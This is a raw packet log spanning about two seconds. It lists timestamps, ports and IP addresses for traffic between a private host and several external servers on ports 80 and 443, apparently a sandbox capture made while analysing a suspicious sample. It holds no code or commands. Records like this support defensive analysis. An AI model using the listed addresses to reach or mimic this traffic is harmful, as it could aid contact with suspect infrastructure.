Dec 21, 2024 18:16:40.101047993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.101172924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.101176977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.101269960 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.102185965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.102264881 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.102303028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.102351904 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.102665901 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.102896929 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.103041887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.103091955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.103153944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.103338957 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.103884935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.103949070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.103955984 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.104001045 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.104881048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.105103016 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.105178118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.105756998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.105916977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.106044054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.106730938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.106782913 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.106890917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.106956959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.107672930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.107736111 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.107769966 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.107816935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.108743906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.108803034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.108851910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.108958006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.109532118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.109596014 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.109642982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.109690905 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.110500097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.110563993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.110574961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.110627890 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.111443043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.111516953 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.115695953 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.115906954 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.122107983 CET	443	49847	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:40.122360945 CET	49847	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:40.125217915 CET	49847	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:40.125272989 CET	443	49847	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:40.125705004 CET	443	49847	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:40.125875950 CET	49847	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:40.126104116 CET	49847	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:40.143107891 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.144471884 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.167342901 CET	443	49847	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:40.222280025 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.222361088 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.224298954 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.224688053 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.294567108 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.294775009 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.299710035 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.299783945 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.299868107 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.300188065 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.305551052 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.305655003 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.311933994 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.312088013 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.313277960 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.313467026 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.321368933 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.321458101 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.323254108 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.323355913 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.329088926 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.329149008 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.338421106 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.338494062 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.342431068 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.342777967 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.351916075 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.352006912 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.354083061 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.354152918 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.365384102 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.365453959 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.369292974 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.369369030 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.379189968 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.379278898 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.382888079 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.383070946 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.392235994 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.392313957 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.393481970 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.393548012 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.405253887 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.405622959 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.408601999 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.408683062 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.418852091 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.419456959 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.419517040 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.419579983 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.432444096 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.435364962 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.456516027 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.456614017 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.456751108 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.456811905 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.486160040 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.487435102 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.487533092 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.487617970 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.488327026 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.488394022 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.492902040 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.495364904 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.495400906 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.495481014 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.496654034 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.496727943 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.496788979 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.496840000 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.506700993 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.506876945 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.507141113 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.507141113 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.507205963 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.507299900 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.517607927 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.517811060 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.518573999 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.518637896 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.528297901 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.528522968 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.528584003 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.528645039 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.538371086 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.538609028 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.538670063 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.538732052 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.548609972 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.548702955 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.548763037 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.548823118 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.558567047 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.558770895 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.558830976 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.558907032 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.568579912 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.568787098 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.568847895 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.568969011 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.577867985 CET	443	49847	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:40.578042984 CET	49847	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:40.578053951 CET	443	49847	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:40.578113079 CET	49847	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:40.578641891 CET	49847	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:40.578685045 CET	443	49847	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:40.578695059 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.578772068 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.578809023 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.578865051 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.588882923 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.589090109 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.589150906 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.589221001 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.598311901 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.598512888 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.598573923 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.598678112 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.607059002 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.607151985 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.607209921 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.607281923 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.615931988 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.616309881 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.616370916 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.616532087 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.624880075 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.625076056 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.625137091 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.625215054 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.625983000 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.626046896 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.633166075 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.633342028 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.634260893 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.634329081 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.641701937 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.641772985 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.642651081 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.642852068 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.648469925 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.648622036 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.649578094 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.649794102 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.654592037 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.654802084 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.655500889 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.655580044 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.660321951 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.660536051 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.661360025 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.661432981 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.666815996 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.667059898 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.667829990 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.667911053 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.672991991 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.673162937 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.678082943 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.678181887 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.678895950 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.679104090 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.681392908 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.681456089 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.690428972 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.690612078 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.691557884 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.691660881 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.691721916 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.691839933 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.694016933 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.694083929 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.695121050 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.695194006 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.697496891 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.697547913 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.699656010 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.699716091 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.699743986 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.699877977 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.705259085 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.705461025 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.705558062 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.705627918 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.710520983 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.710814953 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.710875988 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.710941076 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.715352058 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.715434074 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.715486050 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.715739965 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.720446110 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.720575094 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.720635891 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.720720053 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.725657940 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.725898981 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.725966930 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.726041079 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.730567932 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.730751991 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.730813026 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.730884075 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.735567093 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.735788107 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.735848904 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.735908985 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.740605116 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.740683079 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.740744114 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.740803003 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.745084047 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.745273113 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.745332956 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.745425940 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.750472069 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.750648022 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.750741959 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.750807047 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.754908085 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.755083084 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.755142927 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.755209923 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.755234003 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.755271912 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:40.755352974 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.755378008 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:40.772063971 CET	49853	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:40.772094965 CET	443	49853	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:40.772242069 CET	49853	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:40.772417068 CET	49853	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:40.772423983 CET	443	49853	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:41.087959051 CET	49854	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:41.087997913 CET	443	49854	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:41.088124037 CET	49854	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:41.088459969 CET	49854	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:41.088471889 CET	443	49854	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:42.153032064 CET	443	49853	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:42.153172016 CET	49853	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:42.162247896 CET	49853	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:42.162269115 CET	443	49853	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:42.162760973 CET	443	49853	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:42.165889978 CET	49853	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:42.172089100 CET	49853	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:42.215332031 CET	443	49853	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:42.306602955 CET	443	49854	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:42.306725979 CET	49854	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:42.309367895 CET	49854	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:42.309382915 CET	443	49854	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:42.309874058 CET	443	49854	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:42.313508987 CET	49854	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:42.313844919 CET	49854	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:42.355331898 CET	443	49854	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:42.446266890 CET	49820	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:42.446553946 CET	49860	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:42.566926956 CET	80	49860	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:42.566962004 CET	80	49820	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:42.567054033 CET	49860	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:42.567178011 CET	49820	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:42.567405939 CET	49860	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:42.687086105 CET	80	49860	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:42.691427946 CET	443	49853	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:42.691487074 CET	49853	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:42.691507101 CET	443	49853	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:42.691550970 CET	49853	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:42.691595078 CET	443	49853	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:42.691648006 CET	49853	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:42.692286015 CET	49853	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:42.692301989 CET	443	49853	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:42.775827885 CET	443	49854	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:42.775892019 CET	49854	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:42.775916100 CET	443	49854	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:42.775959969 CET	49854	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:42.775965929 CET	443	49854	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:42.775998116 CET	49854	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:42.776037931 CET	443	49854	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:42.776081085 CET	49854	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:42.776563883 CET	49854	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:42.776578903 CET	443	49854	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:42.861517906 CET	49861	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:42.861552954 CET	443	49861	149.154.167.220	192.168.2.4
